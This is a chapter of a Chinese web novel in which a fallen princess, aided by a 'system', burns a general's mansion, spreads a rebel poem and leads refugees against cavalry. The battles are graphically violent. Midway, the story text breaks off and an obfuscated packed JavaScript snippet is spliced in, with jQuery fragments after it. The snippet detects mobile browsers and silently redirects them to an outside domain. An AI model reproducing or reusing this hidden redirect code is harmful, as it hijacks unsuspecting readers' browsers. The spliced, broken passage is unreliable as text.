2. 亡国公主(2)
作品:《拯救世界?我是专业的![快穿]》 入夜,京城内繁灯似锦,雕墙峻宇,纸醉金迷,高大的兵士欢呼着高举酒碗,好一副奢靡景象。
镇国将军府地处内城最好的地段,距离皇宫不过一条街道,正是彰显帝王对臣子无上的宠爱。
书房的守门人彼此间挤眉弄眼,似乎在诉说自家大将军那雄伟的气魄及体力兴致。
深夜时分,姬月听见门□□班的声音。守门兵士打着长长的哈欠,没有留意有人翻窗而出。
府邸占地面积庞大,不间断的巡逻与无处不在的哨岗令人寸步难行。
在系统的指引下,姬月溜进距离最近的高等丫鬟房,里面是上下两个床铺,上铺的帘子拉的严严实实,下铺的丫鬟应是在值夜。
小莲刚睡下,听见门口的声音只以为对方落了什么东西,翻了个身没搭理。
姬月身上的伤疤早已用不可思议的速度复原,快速更换衣服。再度出门时,容颜体态变得格外朴素,属于丢在人群里找不到的那种。
下人及兵士们见她从容不迫与人交谈,夜幕下面容模糊,能依稀辨认是后院奴仆。
府邸没有女主人,刚入府,下人在后院出入的规矩并不死板。
姬月手上端着用红布覆盖的物品,堂而皇之出入库房也只是遇到简单询问。后院有个昌平帝派来的卧底,郑停颇为“宠爱”,她狐假虎威扯了两句,又让系统模糊了一下记忆,顺利过关。
库房非常大,里面金光闪闪,妥妥的黄金爱好者。后面竟然还有十多个粮仓,一看就养了私军,直接照单全收。
抵达后院,姬月瞅准时间溜进后厨的柴房。休息了半宿,天还没亮府里的下人们已经开始一天的工作。
她在心里默数:三、二、一……
前院陡然一声尖锐的叫唤划破夜空,彻底撕裂府邸上空盘旋的平静与高傲。
门外响起急促而惊惶的脚步,甲胄大力的碰撞,整个府邸乱成了一锅粥。
借此机会,收拾好的姬月用大量的酒在后厨放了把火,打开后门步履从容的走了出去。
行人们起初不明所以,只在不同地方捡到了一张又一张写着四句诗文的纸张。有人看不懂,有人震惊惶恐,亦有人如获至宝。
文官匆匆入宫,昌平帝勃然大怒。
一场大火把偌大的将军府变成半座废墟,浓烟滚滚下挂着开国大将的头颅,再来一首明目张胆的反诗,如狗一般的前朝皇室竟能爆发出如此巨大的能量。
这简直是在自诩尽在掌控的帝王脸上狠狠扇了一巴掌,直接抽醒了他入主中原的飘飘然。
他必须立刻撇清关系,把态度摆给那群暂时还不能丢的降臣们看。
对比之下,将军府库房被盗简直是小事。
随即昌平帝下令封禁该反诗,凡有议论者,诛九族、瓜蔓抄。抓捕亡国公主沈青桃,活要见人死要见尸!
……
“听说丫鬟一进门就对上挂在门口的头颅,当场就吓疯了!”
“亡国之君甘作降奴,此等刚烈之女却托生帝王家,可悲!可叹!”
“苍天已死,黄天当立,岁在甲子,天下大吉①。前朝无能,今朝暴虐,我等平民路在何方?”
“除郑贼虽好手段却太过毒辣,藏头诗尾野心毕露。女子为帝,岂不乱了纲理伦常!”
诚然,姬月写的诗并不高明,她只是借诗抒发情志,向天下昭告她的存在。文人们正反相驳,轰动一时。
上层越是弹压底层越是叛逆,反诗与青桃公主之名以烈火燎原之势名动九州。迫于高压,一切讨论转移至偏远地区的地下。
各路起义军更是像打了鸡血似的此起彼伏,无论走到哪都是血色残阳。
001说:[我们只宣传流言?]
姬月此时是病痨的农民形象,看似表面平静的城池,实则每一条砖缝里都淌满鲜血。街道上佑国人的要么是表情麻木,要么是奴颜婢膝。
起义军大多从乡野起势,也在乡野覆灭。途径之道路两侧,灼热的血液掀起燎原战火,土地寸草不生,处处是隆起的残肢碎肉,腐败的尸水汇入江河湖海。
简直是人间炼狱。
[士族门阀利益勾结,男性是利益的主体,公主再尊贵也不过是利益连结的纽带。无论忠臣良将,亦或奸诈奸滑的投机者,首选都不会是我。]
[世人重名利,血脉是桎梏,亦是机遇。当血脉变成唯一,不甘屈居人下的野心家自会蜂拥而至。佑朝残军必败,他们不肯妥协,我同样需要他们拖延时间。]
留个名让世人知道还有个皇女存在就好。
她迫切需要一块属于自己的地盘和一支独属于她的势力,再用一场举世瞩目的胜利来高调展示逐鹿天下的入场券。
她选中了千里之外的临关残军。
姬月在路上独自行走,常遇流匪。流民被逼做流匪,心狠手辣方能生存,于是从此打开欲/望的阀门。
他们曾经是被压迫的弱者,后来又变成压迫更弱者的人。
这是皇朝制度崩溃下的悲剧。
姬月要做的,就是送他们离开这个残酷的人间。
到处都是动乱,以她一个人的力量做不了太多改变,可还是有很多被她救下的人默默跟在了她身后。
姬月擦拭弯刀上的血渍,后背笔挺,没有放慢脚步。
京城距离她的目的地尚有千里之遥。跟在她身后都是走投无路的流民,不断有人加入又不断有人离开。
自愿跟随的人大多心智坚定,只想着能跟随一位强大的首领或许还能有一线生机,至少不用再害怕路途的流匪。
于是一行人在姬月身后不远不近的坠着。
约莫走了二百里地,一个叫小林村的地方,他们不幸遇到了一股起义军残余力量与昶朝镇压的军队。有趣的是,起义军是夏人,与之厮杀的士兵也是夏人。
骑着高头大马的异域首领挥舞着镰刀,欢呼雀跃的肆意收割着生命,面目兴奋到狰狞扭曲。
鲜血喷溅,残肢纷飞。
三人驭数千人,何其荒谬!
“狗日的畜生!”队伍里的汉子眼球充血,双手紧握成拳。
身旁的妇人拉住相公的手臂,低声说:“昶朝骑兵以一敌百,我们贸然前去只会徒增牺牲。君子报仇,十年不晚。”
他们的女儿好奇的说:“骑兵只有三个,起义军还剩下五十人,加上我们一起上为什么不能赢?”
落尾的书生看了眼前方的姬月,沉着嗓子说:“这场祸事我们是避不开的,我们人数多,那边定然看见了,此刻只是没法抽手。如果我们不想办法自救,等待大家的只有血流成河的下场。”
人多当然有赢面,最关键还在于人胸口一股气,后背那根脊梁。夏人惧怕骑兵如见鬼神,人家还没打过来自己就先软了骨头,再多的人也注定一败涂地。
他话音刚落,意图退缩的人们就看见远方那高大骑兵看过来的动作,并且还对着他们扬了扬手中染血的刺刀。
书生似是吓到了,整个人透露着绝望:“他是想让我们慌不择路的分散奔逃,然后像狸奴捕鼠那般戏耍折磨一番,最后在我们的恐惧绝望中收割性命。”
人群涌动着,书生又仰头叹息:“蛮夷不通教化,妄图以暴骨载道灭我夏人千年传承。今幸得侠女相救苟存至今。若能以命抵命,纵舍生取义,虽死亦无憾也!”
“我愿做先锋去劝说对面的兵士,可有同道者?”
这书生但是口才不错。
姬月停下脚步,环抱双臂听演讲。书生深谙心理学,三言两语就搭建起烈火灼烧的舞台,把调动涣散的人心凝聚对外。
还有那一家三口,丈夫勇猛有血性,妻子审时度势,女孩聪慧有骨气,未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634693|172623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来可期。
书生缓步向姬月走来,深深作揖:“侠女武功盖世独步天下,我知侠女不愿理凡尘俗世。可当今山河破碎人人自危,大敌当前,恳请侠女再次出手助我等一臂之力。”
“你想道德绑架我?不好意思,我没有道德。”姬月挑眉:“说到底是你们连累我,而且我一个人也能活下去,凭什么出手呢?”
“我……”
姬月打断书生的话:“我对你的解释不感兴趣,不过我对你很感兴趣。这次我可以帮,但你得跟我去边关,终生奉我为主永世不得背叛。”
书生毫不犹豫的揖礼:“吾虽一介布衣,亦知衔草结环之理。愿披肝沥胆,以报知遇之恩,至死不渝!上官承,拜见吾主。”
上官承?这不是未来太子班底里最有名的布衣神相吗?此人足智多谋,神机妙算,是史书上喊出“与天争长短”的赛半仙。
本是看中书生的口才,倒是捡了个漏。
不过这幅态度,好像就等着她这句话似的。
有意思。
上官承回到人群,表明姬月届时会想办法把骑车从马上弄下来,然后就是他们这群人必须以最快的速度结束三名骑兵的生命,他则劝说对面的兵士拖延时间。
制定好计划后,人群相互打气。骑兵的强大与残暴举世皆闻,他们当然害怕,可怕也没用,除非他们想死,这是一场注定你死我活的战争。
起义军首领战亡,副首领陈丙声嘶力竭的率领同伴复仇:“老子宁愿战死也绝不做孬种,弟兄们,冲啊!”
“可恶!那边那群人怎么还不赶紧走?我们拖不了多久!”
飞溅的血渍遍布全身,陈丙眼见战场后面的骑兵意图调转马头,他立刻明白这人是要去杀那群流民。他咬牙,手持镰刀冲了过去。
高高在上的骑兵轻蔑的看着蝼蚁的反击,简直不堪一击。他双腿一夹,驱使骏马向前行走,同时微微俯身,手上勒命无数的马鞭红的发黑。
“啪!”
圆而重的马鞭挥下,强势破空的响声后,陈丙的布衣被撕裂,马鞭所到之处皮开肉绽,竟是直接废了他的右臂。
又是一鞭。
鞭子缠绕在陈丙的脖颈上,他用手去抓,却被马鞭的巨力一带,身体倾倒倒在地上,随即被骑兵就地拖行。
“唔……”
马鞭横亘在咽喉与上颚的交界,面部因缺氧变成绀色,陈丙的意识逐渐丧失,后背的衣服被磨破,皮肉在尸骨碎石上拖行,一片血肉模糊。
就在他以为自己即将窒息而死的时候,骏马停止奔腾,他听见骑兵饶有兴致的说了一句:“两脚羊竟敢反抗?”
“对面的兄弟,我们同为夏人……”
“冲啊——”
那群流民、那群人来救他了?
不!不!快跑!
气若游丝的陈丙身体里瞬间爆发出一股强大的力量,他奋力挣脱马鞭的控制,正想拼最后一股力量把骑兵扑下来,然而他的视野里出现了一个人。
那人身着布衫,似是女子。
她高高举起手中的弯刀,向他所在的方向投掷而来。距离那么远,陈丙知道不可能的,可那把刀在他的目光中似乎做了慢速分解。
森白的刀刃反射出寒光,圆润的弧形在尾部拖拽出一条白色的尾线,宛若长虹贯日,以一股锐不可挡的威赫破开虚空,目标明确的捅进骑兵的左肩。
骑兵被裹挟大力的刀柄破坏重心,喉咙里吐出一声闷哼从高头大马上跌落。
陈丙回神,当即想上去补刀,然后被一群涌来的流民冲到一边。那杀人无数的骑兵猝不及防之下,竟然被他看不起的这群流民被锤死了。
“呼兰——”
远方悠然看戏的两名月交骑兵见同伴被杀,当即暴跳如雷的勒紧缰绳,驱动骏马,怒目圆瞪的挥舞长枪,来势汹汹!